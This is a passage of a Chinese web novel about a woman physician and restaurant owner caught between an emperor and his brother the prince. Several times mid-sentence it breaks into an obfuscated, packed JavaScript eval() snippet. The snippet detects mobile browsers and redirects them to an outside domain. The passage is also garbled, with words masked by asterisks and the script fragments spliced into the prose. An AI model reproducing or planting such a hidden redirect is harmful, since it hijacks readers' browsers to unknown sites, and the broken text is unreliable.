这是...永昌伯府的张嬷嬷!有人认出了她。 张嬷嬷跑到跟前,对着胖衙役就是一顿训斥:你们在干什么?敢动姜大夫? 嬷嬷,这...胖衙役有些发怵,永昌伯在京城也是有头有脸的人物,他不敢得罪。 什么这那的!张嬷嬷气势汹汹,我家侧妃正等着姜大夫入府选参呢!你们要是耽误了侧妃的大事,担得起这个责任吗? 选参?胖衙役愣住了。 当然是选人参!张嬷嬷理直气壮地说,我家侧妃身子不好,需要用最好的人参调理。姜大夫是京城有名的药材行家,侧妃特意邀请她入府挑选! 这个理由说得天衣无缝,胖衙役一时间不知道该怎么办。如果真的是伯府有请,他这个小小的衙役还真不敢拦。 就在他犹豫的时候,姜绾歌忽然走到他身边,从袖中掏出一锭银子塞到他手里。 官爷辛苦了,她压低声音说,这点心意不成敬意。另外,醉仙楼最近新酿了一批虎骨酒,味道绝佳,改日请官爷品尝。 胖衙役掂了掂手中的银锭,足有二十两!再加上虎骨酒的诱惑,他的态度立刻来了个一百八十度大转弯。 咳咳,他清了清嗓子,故作严厉地说,经过查验,杏林堂的药材商契确实有效。刚才是有人误报,现在误会解除了! 他对手下的衙役挥了挥手:收队!都散了散了! 衙役们面面相觑,但还是老老实实地跟着他离开了。 围观的百姓也渐渐散去,杏林堂的危机总算是过去了。 多谢嬷嬷相救!姜绾歌对张嬷嬷深深一礼。 哪里话,姜大夫是我家的贵客,张嬷嬷笑呵呵地说,侧妃还在府里等着呢,姜大夫什么时候有空? 第172章 皇上回来 随时都有空!姜绾歌连忙答应,心里却在盘算着到底是谁在背后搞鬼。 阿福!她叫过伙计,你马上去查,今天这事是谁举报的! 是!东家!阿福领命而去。 送走了张嬷嬷,姜绾歌回到杏林堂继续营业。但她心中的怒火却越烧越旺,仁德堂这帮王八蛋,一次次找她麻烦,真当她是软柿子不成? 黄昏时分,阿福回来了,脸色很难看。 东家,查清楚了,他压低声音说,是仁德堂勾结了市舶司的一个税吏,那家伙收了他们的好处,就去京兆府举报咱们无证行医。 税吏?姜绾歌冷笑,好啊,连官府的人都敢收买!看来仁德堂是要跟我不死不休了! 她在心里盘算着,这仇不能不报,但得想个更狠的法子。 夜色渐深,忙碌了一天的姜绾歌终于可以歇息了。她疲惫地走向后院的小屋,心里想着明天该如何应对仁德堂的下一波攻击。 然而,当她推开院门的瞬间,整个人都僵住了。 院子里灯火通明,一个挺拔尊贵的身影正负手而立,背对着她站在花园中央。那个身影如此熟悉,让她的心脏瞬间狂跳起来。 顾铭轩?她喃喃自语,声音颤抖得厉害。 那人听到声音,缓缓转过身来。夜色中,他的脸庞清晰可见——正是离京数月的顾铭轩! 四目相对的瞬间,时间仿佛静止了。 他的眼中满含着风尘仆仆的疲惫,还有压抑已久的深切思念。那双深邃的眸子紧紧锁在她脸上,仿佛要将她的容颜深深印在心底。 绾绾...他的声音有些沙哑,带着说不出的柔情,朕回来了。 话音刚落,他大步上前,不容拒绝地将她紧紧拉入怀中。 姜绾歌整个人都僵住了,她能感受到他怀抱的温暖,能闻到他身上熟悉的龙涎香味,能听到他急促的心跳声。 你...你怎么...她想要挣脱,但他抱得太紧了。 朕想你了,绾绾,他在她耳边轻语,声音带着颤抖,这几个月,朕无时无刻不在想你。 姜绾歌心中五味杂陈,她没想到他会提前回京,更没想到他会直接来找她。这突如其来的重逢让她完全措手不及。 绾绾,他松开她,双手捧住她的脸颊,目光灼热如火,你想过朕的话吗?你的答案是什么? 这个问题如同重锤敲击在姜绾歌心上。她看着他那张英俊的脸,看着他眼中的期待和不安,一时间不知道该怎么回答。 就在这紧张的时刻,门口忽然传来一个慵懒的声音: 陛下圣安。深夜驾临,可是有急症? 姜绾歌猛地回头,只见顾云霁正倚着门框,嘴角含着似笑非笑的表情。他今夜穿了件深蓝色的锦袍,整个人在夜色中显得格外优雅,但那双桃花眼却锐利如刀。 顾铭轩缓缓松开姜绾歌,目光如电射向顾云霁。瞬间,一股无形的帝王威压弥漫开来,让整个院子的空气都变得凝重。 皇弟?他的声音很平静,但其中蕴含的危险意味却让人不寒而栗,倒是巧。 确实很巧,顾云霁也不示弱,缓步走进院子,本王正路过此地,听到动静就进来看看。没想到遇见了风尘仆仆的皇兄。 两个男人的目光在空中激烈碰撞,如同刀剑相击,迸发出无形的火花。 姜绾歌夹在两人中间,感受着顾铭轩怀抱的余温还未散去,又感受到顾云霁眼中冰冷的审视。这种感觉让她如坐针毡,心跳得如擂鼓一般。 皇弟深夜来此,顾铭轩的语气虽然平静,但姜绾歌能听出其中的质疑,所为何事? 没什么大事,顾云霁耸了耸肩,只是听说姜大夫今日遇到了些麻烦,过来看看。毕竟... 他停顿了一下,目光在姜绾歌身上扫过:姜大夫是本王的合作伙伴,本王自然要关心一二。 这话说得轻描淡写,但其中的含义却让顾铭轩眼神微冷。 合作伙伴?他重复着这个词,目光在两人之间游移,什么样的合作? 空气中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010411|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的**味越来越浓,姜绾歌感觉自己快要窒息了。这两个男人都不是省油的灯,一个是九五之尊的皇帝,一个是手握重兵的王爷,现在却为了她剑拔**张。 陛下...王爷...她想要说些什么缓解气氛,但不知道该怎么开口。 绾绾不必紧张,顾铭轩忽然转向她,伸手想要再次拉住她的手,朕只是想知道,你和皇弟到底是什么关系。 然而就在他的手即将触及姜绾歌的瞬间,顾云霁忽然开口: 皇兄,既然是深夜造访,不如先让姜大夫歇息?有什么话,明日再谈也不迟。 本王觉得,他的语气依然慵懒,但眼神却异常锐利,深夜扰人清梦,实在不太合适。 顾铭轩的手停在半空中,目光冷冷地看向顾云霁:皇弟这是在教朕做事? 不敢,顾云霁微微一笑,本王只是觉得,姜大夫今日受了惊吓,需要好好休息。 两人的对话表面客气,实际上却暗流涌动。姜绾歌听得心惊肉跳,生怕两人真的打起来。 够了!她终于忍不住开口,都这么晚了,两位爷有什么话明天再说行不行?我累了,想歇息了! 她的声音带着明显的疲惫和不耐烦,让两个男人都愣了一下。 顾铭轩看着她疲惫的神色,眼中闪过一丝心疼:绾绾,是朕考虑不周。你先歇息,朕...朕明日再来。 皇兄英明,顾云霁在一旁附和,姜大夫确实需要休息。 顾铭轩深深看了姜绾歌一眼,那眼神中有不舍,有眷恋,还有一丝不甘。最终,他还是转身离开了。 本王也告辞了,顾云霁也准备离开,但临走前忽然回头看了姜绾歌一眼,姜大夫,有些选择...要慎重。 该死的...她揉着太阳穴,这下麻烦大了。 姜绾歌盯着顾云霁袍角沾的草屑,听他靴底碾过石子的声响在院门外消弭。 墙根下突然滚来个油纸包,展开是半块没动过的茯苓糕——今早她随手分给街头乞儿的同款。 第173章 京城文坛的泰斗 次日上午,醉仙楼里人声鼎沸。姜绾歌站在二楼的雅间里,透过窗棂看着楼下忙碌的景象,心情复杂得很。 昨夜的事情让她一夜未眠,脑海中不断回想着顾铭轩拥抱她时的温度,还有顾云霁眼中那种意味深长的审视。 两个男人的对峙让她如履薄冰,稍有不慎就可能万劫不复。 东家,周翰林来了!阿福兴奋地跑上楼汇报,他老人家正在楼下雅座里品茶呢! 周翰林?姜绾歌回过神来,这位致仕的老翰林可是京城文坛的泰斗,如果能得到他的题字,醉仙楼的名气将更上一层楼。 她连忙整理了一下衣衫,亲自下楼迎接。 楼下的雅座里,一个须发皆白的老者正端着茶盏细品,神情悠然自得。这就是周翰林,虽然已经致仕在家,但在文人圈子里依然有着举足轻重的地位。 周老先生大驾光临,蓬荜生辉!姜绾歌走上前去,恭敬地行礼。 姜老板客气了,周翰林放下茶盏,慈祥地笑道,老夫今日来此,是听说贵楼有道菊花枸杞茶,特意来品尝的。 老先生眼光独到!姜绾歌连忙吩咐小二,快去准备最好的菊花枸杞茶! 很快,一壶香气袅袅的菊花枸杞茶就端了上来。周翰林细细品了一口,眼中闪过一丝惊艳。 好茶!他赞叹道,这菊花清香淡雅,枸杞甘甜润燥,两者搭配恰到好处。而且这泡制的手法也很有讲究,水温火候都拿捏得恰到好处。 姜绾歌心中一喜,连忙解释道:老先生慧眼如炬!这菊花是特意从杭州选来的胎菊,枸杞则是宁夏的上品。泡制时用的是井中活水,水温控制在八十度左右,这样既能激发药性,又不会破坏营养成分。 原来如此!周翰林频频点头,姜老板年纪轻轻,却深谙养生之道,实在难得! 两人就着茶道聊了一会儿,周翰林对姜绾歌的见解颇为赞赏。聊到兴起处,老翰林忽然提笔,在宣纸上龙飞凤舞地写下四个大字: 颐养天和 这四个字送给姜老板,他将字递给姜绾歌,希望醉仙楼的药膳能让更多人颐养天年,和谐健康。 姜绾歌接过字幅,激动得双手都在颤抖。这可是周翰林的亲笔题字啊!在京城,能得到他题字的商家屈指可数! 多谢老先生厚爱!她深深一礼,这字我要裱好挂在最显眼的地方! 哈哈,姜老板有心了!周翰林笑着起身告辞,改日老夫还要来品尝贵楼的其他药膳。 送走了周翰林,姜绾歌立刻命人将这幅字送去裱糊,要做成最精美的匾额。 三日后,颐养天和的金匾高高悬挂在醉仙楼的正门上方,在阳光下熠熠生辉。消息不胫而走,整个京城的文人雅士都知道了醉仙楼得到周翰林题字的事。 东家,今天已经有十几个文士来预订"翰林宴"了!阿福兴奋地汇报,他们都想在有翰林题字的地方聚会,觉得有文气! 翰林宴?姜绾歌眼珠一转,这个主意不错!专门为文人雅士设计的宴席,既高雅又实用! 她立刻开始筹备,挑选最好的药膳,配上最雅致的环境,还特意准备了笔墨纸砚供客人挥毫泼墨。 又过了两日,翰林宴正式开席。醉仙楼里宾客满堂,都是京城有头有脸的文人学士。众人对着颐养天和的金匾指指点点,赞不绝口。 正当宴席进行得热闹非凡时,门外忽然来了一位身穿普通青衫的中年男子。他看起来其貌不扬,但身上却有一种说不出的气度。 这位客官,里面正在办翰林宴,门口的小二拦住他,您看... 无妨,那人淡淡一笑,我也是来赴宴的。 姜绾歌从二楼看到这一幕,心头猛地一跳——那个男人是顾铭轩!他竟然微服来参加翰林宴! 她连忙下楼,装作不认识他的样子:这位先生,请问您是? 在下...顾明轩,他给自己起了个化名,久闻醉仙楼大名,今日特来品尝。 顾先生请!姜绾歌强压心中的震惊,引他入座,今日翰林宴,都是文人雅士,顾先生一 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不必客气,顾云霁将礼盒递给她,这是本王特意准备的贺礼,一套上好的茶具,配得上醉仙楼的雅致。 姜绾歌接过礼盒,心中暗暗叫苦。这两个男人都来了,今天的宴席怕是要变成修罗场了。 王爷真是有心了,她努力保持笑容,这茶具看起来就不凡,一定价值不菲。 价值倒在其次,顾云霁漫不经心地说,主要是合用。就像当初本王建议姜老板调制当归鸡汤一样,还记得吗?那次王爷说鸡汤能治刀伤,姜老板还笑话本王呢。 这话说得看似轻松,但姜绾歌却听出了其中的深意。他在暗示两人之间的默契和共同经历,这让坐在主位的顾铭轩眼神更加冷厉。 王爷记性真好,姜绾歌尴尬地笑笑,那次确实是我失言了。 哪里话,顾云霁在离主位不远的地方坐下,本王倒觉得,姜老板的每一句话都很有趣。比如药膳的研发过程,那些小插曲总是让人印象深刻。 第174章 顾明轩的醋意 他这话说得更加露骨了,分明是在向众人暗示他和姜绾歌的关系很亲密。 顾铭轩握着酒杯的手指微微发白,但面上依然保持着温和的笑容。 他忽然开口道:本人对药膳也颇有兴趣,不知姜老板可否详细介绍一下? 这是在宣示**!姜绾歌夹在两人中间,如坐针毡。 当然可以,她硬着头皮开始介绍,我们醉仙楼的药膳都是根据古方调制,比如这道当归鸡汤... 正说着,顾铭轩忽然凑近她,低声问道:绾绾,考虑好了吗? 这话说得很轻,但顾云霁的耳朵何等敏锐,立刻听了个清楚。他眼中闪过一丝异色,端起酒杯敬酒的动作也顿了一下。 姜绾歌听到这个问题,心脏差点跳出嗓子眼。她连忙端起酒杯:顾先生,我敬您一杯! 借着敬酒的动作,她避开了顾铭轩灼热的目光。但这个小动作被顾云霁看在眼里,他嘴角勾起一丝若有若无的笑意。 姜老板真是善于经营,他不经意地开口,听说最近城外的药农生意做得不错?那个三年包销合同,想必收益颇丰吧? 这话又是一记重拳!他在暗示自己参与了姜绾歌的事业,而且参与得很深。 顾铭轩听了这话,握杯的手指更白了。 他现在才意识到,自己离开的这半个月里,顾云霁已经渗透到了姜绾歌生活的方方面面。 宴席还在继续,但三人之间的暗流却越来越汹涌。 对了,姜绾歌忽然想起什么,对阿福使了个眼色,工部的王学士不是订了八两银子的席面吗?让后厨准备一下。 是!东家!阿福领命下去。 姜绾歌趁机开始收集情报。 她注意到王学士今天请的都是河道司的同僚,席间不断提到汛银和石料这些关键词。 小二,她悄悄吩咐,给那桌的客人每人送一个薄荷香囊,就说是本楼的小礼品。 薄荷香囊很快就送了过去,王学士等人很高兴地收下了。 另外,姜绾歌又对后厨交代,王学士平时嗜好辣味,今天的菜要加倍放番椒,让他吃得过瘾。 好嘞!厨子应声而去。 不一会儿,王学士那桌的菜就上齐了。每道菜都红彤彤的,辣椒放得格外多。王学士等人吃得大汗淋漓,直呼过瘾。 然而,没过多久,问题就来了。 哎呀!肚子疼!先是一个河道司的小官捂着肚子站起来。 我也是!另一个也开始捂肚子。 很快,整桌人都开始腹泻,王学士的脸都绿了。 姜老板!他怒气冲冲地找来,这是怎么回事? 王学士息怒!姜绾歌装作很惊讶的样子,一定是厨子失手了,番椒放多了!这样吧,今日的席金我赔您三成,再送几副治腹泻的药! 王学士虽然不满,但也只能接受这个结果。毕竟是他们自己要求加辣的。 送走了王学士一行,姜绾歌暗暗得意。这番椒可不是白放的,河道司的那些**勾当,她可都听得清清楚楚。 翰林宴一直持续到夜色降临,文人们才陆续散去。最后只剩下姜绾歌和两个男人。 气氛变得格外微妙。 顾铭轩起身,对姜绾歌说:绾绾,朕... 陛下,顾云霁忽然开口打断,夜深了,该回宫了。 皇弟无需提醒,顾铭轩冷冷地说,朕自有分寸。 两人再次对峙,姜绾歌只觉得头痛欲裂。 两位爷,她无奈地说,今天累了,我想歇息了。有什么事,明天再说行不行? 最终,两人还是不欢而散。但姜绾歌知道,这场博弈远没有结束... 翰林宴结束后的第二天,姜绾歌起了个大早。昨夜两个男人的对峙让她一夜未眠,脑子里乱糟糟的,只想找点事情做来转移注意力。 东家,您这是起得也太早了吧?阿福打着哈欠从后院走出来,天还没大亮呢。 睡不着,姜绾歌简短地回答,然后开始检查昨夜收集到的情报,对了,那个王学士的事你记录下来了吗? 记下了记下了,阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16019970|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 福连忙拿出一张纸,他们昨天说的那些话,我都让石头记下来了。什么汛银啊,石料啊,还有什么上面要查账的事。 姜绾歌接过纸看了看,眼中闪过一丝冷笑。这帮贪官污吏,一个个肚子里都有鬼,迟早要栽跟头。 正看着,杏林堂的门忽然被人轻敲了几下。 这么早就有客人?阿福疑惑地去开门。 门一开,姜绾歌的心就沉了下去——门外站着的是顾铭轩! 他今天穿了件深蓝色的常服,看起来比昨夜的青衫要正式一些,但依然没有穿龙袍,显然还是微服的打扮。 绾绾,他径直走了进来,目光紧紧锁在她脸上,朕有话要和你说。 陛...顾先生,姜绾歌连忙纠正自己,这么早,您这是... 朕等不了了,顾铭轩直截了当地说,昨夜皇弟的话,朕都听到了。绾绾,你到底和他是什么关系? 姜绾歌感觉头更疼了。她就知道昨夜顾云霁那些暗示性的话会引起麻烦。 我和王爷只是生意上的合作,她努力保持冷静,陛下不要多想。 只是生意合作?顾铭轩逼近一步,那他为什么对你的事情这么了解?连药农的合同都知道? 这...姜绾歌被问住了,王爷消息灵通,知道一些商场上的事也不奇怪吧? 绾绾,顾铭轩忽然伸手想要握住她的手,你在躲朕。朕离京前问过你,朕回来后也问过你,但你始终不给朕一个明确的答案。是不是... 他的声音有些颤抖:是不是朕在你心中,连皇弟都比不上? 这话问得姜绾歌心头一震。她看着顾铭轩眼中的痛苦和不安,忽然意识到这个九五之尊的皇帝,在感情面前也只是个普通的男人。 陛下,不是你想的那样,她轻声说道,我只是...需要时间。 时间?顾铭轩苦笑,朕已经给了你半个月的时间了。绾绾,朕的耐心是有限的。 正说着,外面又传来脚步声。姜绾歌心头暗叫不好,果然,顾云霁的身影出现在门口。 第175章 两个男人的**味 “啧,”顾云霁站在门口,看到屋内皇帝顾铭轩紧握着姜绾歌手腕的情景,眉头习惯性地向上挑了挑,那双惯常带着戏谑的桃花眼里掠过一丝难以察觉的锐利,“又是这么巧?皇兄也在姜老板这里。” 顾铭轩几乎是瞬间就收起了在姜绾歌面前流露出的那点脆弱和急切,属于帝王的威严重新覆盖了他的面容,仿佛刚才那个带着一丝恳求的男人只是幻影。他松开姜绾歌的手腕,站直身体,目光沉沉地转向自己的弟弟:“皇弟来得正好,朕正有话要问你。”他的声音不高,却带着不容置疑的分量。 “哦?”顾云霁仿佛没察觉到屋内紧绷的气氛,神态自若地走进来,目光在姜绾歌微微发红的手腕上停顿了一瞬,随即像是什么都没看见般,径直走到一张离两人稍远的椅子前,优雅地拂了拂并不存在的灰尘,坐了下来,一派闲适,“皇兄请问,臣弟洗耳恭听。” 顾铭轩的目光如鹰隼般锁住顾云霁,单刀直入,没有丝毫迂回:“你和绾绾到底是什么关系?”每一个字都像是从齿缝里挤出来的,带着压抑的怒意和探究。 “什么关系?”顾云霁唇角勾起一抹似笑非笑的弧度,身体微微前倾,目光在顾铭轩和姜绾歌之间转了一圈,最后落在姜绾歌有些苍白的脸上,语气带着惯常的玩味,“皇兄觉得呢?不妨猜猜看?” “朕在问你!”顾铭轩的声音陡然拔高,压抑的怒火几乎要喷薄而出,他向前一步,帝王的气势瞬间压得小小的铺子后堂空气都凝滞了,“回答朕!” 姜绾歌感到一阵窒息,这两个男人之间的对峙,无形的压力像山一样朝她压来,让她喘不过气。 顾云霁面对兄长的怒火,却依旧是不慌不忙的样子,他甚至轻轻掸了掸自己玄色锦袍的袖口,才慢悠悠地开口:“合作伙伴,”他顿了顿,清晰地吐出这几个字,“纯粹的,商业上的合作伙伴。姜老板的药材好,我的路子广,各取所需罢了。” 他话锋一转,目光再次落在姜绾歌身上,带着一种毫不掩饰的欣赏,甚至有些灼人,“不过嘛…皇兄说得对,姜老板确实与众不同。这样有头脑、有手段、还长得如此赏心悦目的女子,别说京城,放眼天下也是凤**麟角。本王确实很欣赏,非常欣赏。”他刻意加重了“欣赏”二字,那语调拖得长长的,充满了暧昧不清的意味。 这话像是一根**,瞬间点燃了顾铭轩积压的情绪。欣赏?仅仅是欣赏?顾云霁那眼神,那语气,分明是……顾铭轩的拳头在身侧悄然握紧,指节泛白。 “皇弟!”顾铭轩的声音冷得像冰,“朕警告你,离绾绾远一点!”他几乎是咬着牙说出这句话。 “警告我什么?”顾云霁脸上的笑意倏然敛去,取而代之的是一种针锋相对的锐利,他毫不畏惧地迎上皇帝的目光,声音也沉了下来。 “皇兄,姜老板既非宫妃,也非臣子家眷,她是自由身。本王与她堂堂正正合作做生意,谈买卖,有何不可?倒是皇兄你……”他意有所指地看了一眼姜绾歌,“似乎有些逾矩了。姜老板的手腕,可还红着呢。” 他精准地戳中了顾铭轩的痛处。顾铭轩像是被刺了一下,脸色更加难看:“她是朕的……”话冲到嘴边,却猛地卡住了。 因为姜绾歌确实不是他的什么人。没有名分,没有诏书,甚至连一个明确的承诺都没有。他贵为天子,却在这一刻,找不到一个合适的身份来宣示**。这个认知像一盆冷水浇下,让他心头一片冰凉,又涌起强烈的不甘。 “她是你的什么?”顾云霁却不打算放过他,步步紧逼,眼神带着一丝嘲讽和挑衅,“皇兄,慎言。金口玉言,有些话可不能乱说的。说了,就得负责,就得给天下人一个交代。您…准备好了吗?”他刻意加重了“负责”和“交代”几个字。 空气仿佛凝固了,充满了**味。两个男人,一个代表至高无上的皇权,一个代表着深不可测的势力,此刻在这小小的药铺后堂剑拔**张,无形的气场激烈碰撞。 姜绾歌被夹在中间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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看到她真的动了怒,甚至不惜动手,顾铭轩和顾云霁脸上都闪过一丝错愕。两个平日里呼风唤雨的男人,此刻竟被一个小女子拿着茶盏逼退。 顾铭轩的脸色铁青,眼神复杂地交织着震惊、受伤、愤怒,还有一种被冒犯的帝王威严。顾云霁则微微眯了眯眼,看着姜绾歌炸毛的样子,眼底深处反而掠过一丝难以言喻的兴味,但面上也收敛了锋芒。 第176章 怎么选? 两人对视一眼,都从对方眼中看到了“暂时退避”的意味。和一个正在盛怒中的女人讲道理,尤其是一个手里拿着“武器”的女人,显然不是明智之举。 顾铭轩深深吸了一口气,强压下翻腾的怒火和挫败感,最后深深地看了姜绾歌一眼。那眼神极其复杂,有不甘,有痛苦,有难以置信,但更深处,还藏着一丝不容置疑的威胁和志在必得。 “绾绾,”他压低声音,每一个字都像是从喉咙深处挤出来,带着不容抗拒的压迫感,“记住朕的话。朕的耐心,真的有限。希望你能…慎重考虑。”他刻意加重了“慎重考虑”四个字,仿佛最后的通牒。 说完,他不再停留,带着一身冰冷的低气压,转身大步流星地走了出去,玄色的龙纹常服衣角在门口一闪而逝。 顾云霁看着兄长离去的背影,又看了看依旧举着茶盏、胸口起伏不定的姜绾歌,忽然轻笑了一声。这笑声打破了凝重的气氛,却让姜绾歌更加警惕地瞪向他。 他慢条斯理地站起身,姿态依旧优雅从容,甚至还伸手整理了一下自己刚才坐得有些褶皱的衣袖,仿佛刚才的剑拔**张从未发生。 “姜老板消消气,”他朝姜绾歌拱了拱手,语气恢复了惯常的轻松调侃,只是眼底深处那抹探究和兴味更浓了,“气大伤身,小心肝火太旺影响你妙手回春。今日看来不是谈合作的好时机,本王改日再来拜访。”他话里有话,说完,也不等姜绾歌回应,便施施然地转身,跟着皇帝的脚步离开了。他的背影显得格外潇洒,与顾铭轩的沉重形成鲜明对比。 随着“吱呀”一声门响,后堂终于只剩下姜绾歌一人,还有空气中尚未散尽的硝烟味。 当那扇隔绝了外面世界的门彻底关上,姜绾歌紧绷的神经像骤然断裂的弓弦,整个人脱力般重重地跌坐在身后的椅子上。手里那个空茶盏“哐当”一声掉落在脚边的地面,滚了几圈,幸好没碎。她仿佛没听见,只是大口大口地喘着气,胸口闷痛,额角也突突地跳着,浑身像是打了一场硬仗般疲惫不堪。 “东家…您…您没事吧?”阿福一直躲在外间门帘后面,大气不敢出,此刻才敢小心翼翼地探出头,看着瘫坐在椅子上面色苍白、眼神空洞的姜绾歌,担忧地问道。他刚才真是吓得魂都快飞了,那可是皇帝和王爷啊!东家居然敢对着他们摔东西赶人! 姜绾歌无力地摆摆手,连说话的力气都仿佛被抽干了:“没事…阿福,你去…你去准备开店的事吧,药材该整理了…我…我歇会儿…”她的声音带着浓浓的疲惫和沙哑。 阿福看她脸色实在不好,嘴唇都没什么血色,也不敢多问,连忙应道:“哎,哎,我这就去!东家您好好歇着,有事叫我!”说完,他轻手轻脚地退了出去,还细心地带上了通往前铺的门。 后堂彻底安静下来,只剩下姜绾歌自己粗重的呼吸声。她靠在冰冷的椅背上,闭上眼睛,脑子里却一片混乱,像被塞进了一团乱麻。 顾铭轩痛苦不甘的眼神,顾云霁玩味挑衅的笑容,还有那句句带着占有欲和威胁的话语,在她脑海里反复交织、碰撞。 “慎重考虑…” “耐心有限…” “合作伙伴…非常欣赏…” “出去!都给我出去!” 她知道,这样下去绝对不行了。 这两个男人,一个强势霸道,步步紧逼,用皇权和情感双重施压;一个看似散漫实则深不可测,若即若离,却总能精准地搅动她的心湖。她夹在中间,再这样下去,迟早会被撕碎,或者被逼到一个她完全无法掌控的境地。 必须尽快做出决定了。 可是…怎么选? 选择顾铭轩?她眼前浮现出金碧辉煌却冰冷压抑的宫殿。成为皇帝的女人,意味着锦衣玉食,尊荣无限,整个家族都会跟着飞黄腾达。 但代价呢?是彻底失去自由,成为一只被豢养在华美牢笼里的金丝雀。一言一行都要符合宫规,一举一动都被人盯着,她的医术、她的生意、她的抱负,恐怕都要在深宫后院中消磨殆尽。 她将不再是姜绾歌,而只是某个宫殿的“姜妃”甚至“姜嫔”。这让她想想都觉得窒息。 选择顾云霁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“该死的!”姜绾歌烦躁地揉着自己的太阳穴,只觉得头痛欲裂,心乱如麻,“怎么就把自己搞到这种进退两难的境地了?两个男人…都不是省油的灯!”她低声咒骂着,恨不得时光倒流。 第177章 多年不孕 就在她几乎要被这剪不断理还乱的滔天巨浪彻底淹没时,前铺的门帘被小心翼翼地掀开一条缝,阿福探进头,声音压得极低,带着一丝不易察觉的兴奋:“东家…外头…有人寻您。” 姜绾歌心头猛地一紧,以为是顾铭轩或顾云霁去而复返,一股无名邪火“腾”地窜起,语气又冷又冲:“谁?!说了谁都不见!让他们走!” 阿福吓得一缩脖子,连忙摆手解释:“不是!东家!真不是那两位贵人!是…是一位嬷嬷!瞧着面生,说是奉了她家主子的命,特地来请您过府的!” 嬷嬷?主子?姜绾歌一愣,强压下翻腾的烦躁,沉声问:“可问清了来路?” “问了问了!”阿福赶紧回话,语气带着点邀功的急切,“她说她是吏部尚书府上的!奉尚书夫人之命,来请东家您上门瞧病的!” 吏部尚书夫人?! 吏部,掌天下官员铨选升降,尚书位高权重,实打实的顶级权贵!若能搭上这条线,对她拓展人脉、收集情报、稳固乃至壮大药材生意,好处难以估量! 更重要的是,这是绝佳的喘息之机!她可以暂时逃离这令人窒息的情感漩涡,一头扎进她最擅长、最能掌控的领域——行医济世,经营她安身立命的“事业王国”! “快请进来!”姜绾歌霍然起身,方才的疲惫烦躁瞬间被一种职业性的专注与隐隐的兴奋取代。 很快,一位衣着体面、举止沉稳利落的中年妇人,在阿福的引领下走了进来。 妇人面容和善,眼神却透着大户人家管事特有的精明干练。 她见到姜绾歌,规规矩矩行了一礼:“这位想必就是姜大夫了?老奴姓张,在吏部尚书夫人跟前伺候。 夫人久闻姜大夫医术通神,尤擅调理妇人疑难杂症,今日身上不大爽利,特遣老奴前来,恭请姜大夫过府一诊。”言语恭敬,滴水不漏。 “原来是张嬷嬷,”姜绾歌脸上露出恰到好处的温和微笑,语气专业而沉稳,“夫人言重了。不知夫人是何处不适?可有何症状?”她需要初步判断,做好万全准备。 张嬷嬷上前一步,声音压得更低,带着一丝不易察觉的焦虑与期盼:“实不相瞒姜大夫…我家夫人…嫁入尚书府多年,一直…一直未能为老爷添个一儿半女…这…这成了夫人的一块心病,日夜忧思。” “前些日子,夫人听几位交好的贵眷提起,皆道姜大夫您有妙手回春之能,尤精此道…夫人心中便存了念想。今日身子又觉不适,想起此事,便令老奴务必请您过府一诊。”话语间,那份深藏的渴望与忧虑清晰可辨。 多年不孕! 姜绾歌心中了然,这正是她结合现代医学知识最具优势的领域之一!把握极大!这简直是千载难逢的登天梯! 若能妙手回春,不仅诊金丰厚,她的金字招牌将彻底在顶级贵妇圈打响!随之而来的隐形资源与地位跃升,绝非金银可衡量! “原来如此,”姜绾歌神色郑重地点头,“此症虽非朝夕可愈,却也并非绝路。夫人今日若得空,我即刻备妥所需,随嬷嬷过府。” 张嬷嬷脸上顿时绽开喜色:“得空!得空!夫人吩咐了,只要姜大夫方便,今日随时恭候!马车已在外头备着了!” “好!”姜绾歌果断应下,“嬷嬷稍待片刻,容我取些器具药材。” 她立刻转身,手脚麻利地收拾起随身药箱。银针、脉枕、烈酒、消毒棉纱……又快步走到药柜前,亲自挑选了几味上好的调理气血、温宫助孕的珍品药材,如顶级阿胶、血燕、上等当归、熟地等,用特制的锦盒仔细分装好。 临出门前,她脚步一顿,回头对一脸紧张守候的阿福,目光锐利,语气斩钉截铁:“阿福,铺子看紧了。若有人——尤其是方才那两位——再来寻我,”她一字一顿,强调道,“就说我出诊去了,是极紧要的府邸,归期…不定!听明白了?” “明白!东家您放一百个心!小的就是拼了命也守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031067|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 